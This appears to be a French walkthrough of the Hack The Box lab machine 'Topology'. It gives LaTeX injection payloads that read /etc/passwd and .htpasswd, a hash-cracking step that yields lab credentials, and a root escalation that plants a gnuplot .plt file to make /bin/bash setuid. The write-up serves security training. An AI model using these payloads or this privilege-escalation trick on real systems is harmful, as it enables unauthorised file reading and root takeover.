Topology
Résumé rapide
Topology est une machine Linux (HTB) avec un service web exposant plusieurs virtual hosts. L'axe d'exploitation principal : une fonctionnalité de génération d'images LaTeX vulnérable à l'injection (LFI via LaTeX) qui permet de lire des fichiers sensibles (ex : /etc/passwd, /var/www/dev/.htpasswd). En combinant lecture de fichiers, cassage de hash et accès SSH, on obtient un utilisateur disposant d'un accès au système. Une surveillance/processus cron exécute régulièrement gnuplot sur des fichiers .plt dans /opt/gnuplot avec les privilèges root ; ce répertoire est inscriptible par l'utilisateur mais non lisible — placer un fichier .plt malveillant permet d'obtenir shell root lorsque gnuplot l'exécute.
Pré-requis / outils utiles
nmap,ffuf/feroxbuster— découverte services et vhostscurl,wget,python3— PoC, transfert de binairesjohn/hashcat— craquage de hash (ex :.htpasswdapache)pspy64— détection des processus périodiques exécutés par rootnc(netcat) — listener reverse shellgccsi besoin pour PoC local
Reconnaissance (extraits utiles)
- Scan basique :
nmap -sC -sV -T4 -oN nmap.initial topology.htb
- Ajouter les virtual hosts découverts dans
/etc/hosts:
echo '10.10.11.217 topology.htb latex.topology.htb dev.topology.htb stats.topology.htb' >> /etc/hosts
- Fuzz des virtual hosts pour découvrir sous-domaines :
ffuf -u http://topology.htb -H 'Host: FUZZ.topology.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs <size>
Découvertes principales
latex.topology.htb: service LaTeX → endpointequation.phpqui génère des images à partir d'équations. Faible filtrage contre certaines commandes LaTeX, permettant la lecture de fichiers.dev.topology.htb: site protégé par HTTP Basic (fichier.htpasswddans/var/www/dev/accessible via LFI).stats.topology.htb: page affichant des plots (charge du serveur), utile pour repérergnuplotet la logique d'exécution.
Exploitation — LFI via LaTeX Injection
- Lire des fichiers (exemples de payload LaTeX) :
$\lstinputlisting{/etc/passwd}$
$\lstinputlisting{/var/www/dev/.htpasswd}$
Remarque : certains payloads courts permettent d'obtenir quelques lignes à cause d'une limitation d'input ; d'autres wrappers permettent de récupérer des fichiers complets.
- Récupérer le hash
.htpasswdet le craquer :
echo -n '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Cela fournit généralement l'identifiant/ mot de passe pour dev.topology.htb (ex : vdaisley:calculus20). Ces mêmes credentials peuvent permettre une connexion SSH (ssh [email protected]).
Accès initial
- SSH en tant que
vdaisley:
ssh [email protected]
- Rechercher fichiers intéressants et privilèges :
id
ls -la ~
sudo -l
find / -type f -perm -04000 2>/dev/null
getcap -r / 2>/dev/null
Escalade de privilèges (méthode principale observée)
- Détection du job périodique : transférer
pspy64et l'exécuter pour observer les commandes lancées par root :
wget https://github.com/DominicBreuker/pspy/releases/download/.../pspy64
# servir pspy64 depuis votre machine et récupérer sur la cible
python3 -m http.server 80
# sur la cible
wget http://<tun-IP>/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64
-
Observation : un script exécuté par root lance
find /opt/gnuplot -name *.plt -exec gnuplot {} \;(ou commande équivalente) toutes les minutes. Le répertoire/opt/gnuplotest writable par l'utilisateur attaquant mais illisible. -
Exploitation : créer un fichier
malicious.pltdans/opt/gnuplotcontenant une commande shell qui sera exécutée pargnuploten tant que root. Exemples d'approches :
- écrire un
.pltlançant un reverse shell vers votre listener (adapter IP/port) - OU écrire un
.pltqui exécutesystem "chmod u+s /bin/bash"pour rendre/bin/bashsetuid, puis lancer/bin/bash -ppour obtenir root.
Exemple (schématique) :
# sur votre machine
# créer malicious.plt avec la ligne adéquate (adaptez l'IP)
echo 'system "chmod u+s /bin/bash"' > malicious.plt
scp malicious.plt [email protected]:/opt/gnuplot/malicious.plt
# attendre l'exécution par la tâche périodique (~1 minute)
/bin/bash -p
- Après exécution, vérifier
idet lire/root/root.txt.
Conseils et bonnes pratiques lors de la reproduction
- Toujours tester d'abord en local sur un lab avant de reproduire les payloads sur une machine distante.
- Adapter les chemins et IPs (ex :
topology.htb,tun0IP, port du listener). - Utiliser
pspy64pour confirmer la commande exacte exécutée par root (cela permet d'adapter la payload.pltau format attendu).
Conclusion
La chaîne d'attaque de Topology combine une LFI via injection LaTeX, le craquage d'un hash .htpasswd pour obtenir un compte utilisateur, puis l'abus d'un job root exécutant gnuplot sur des fichiers inscriptibles par l'utilisateur. La progression logique est : reconnaissance → LFI → récupération .htpasswd → craquage → SSH → observation avec pspy64 → dépôt d'un .plt malveillant → gain root.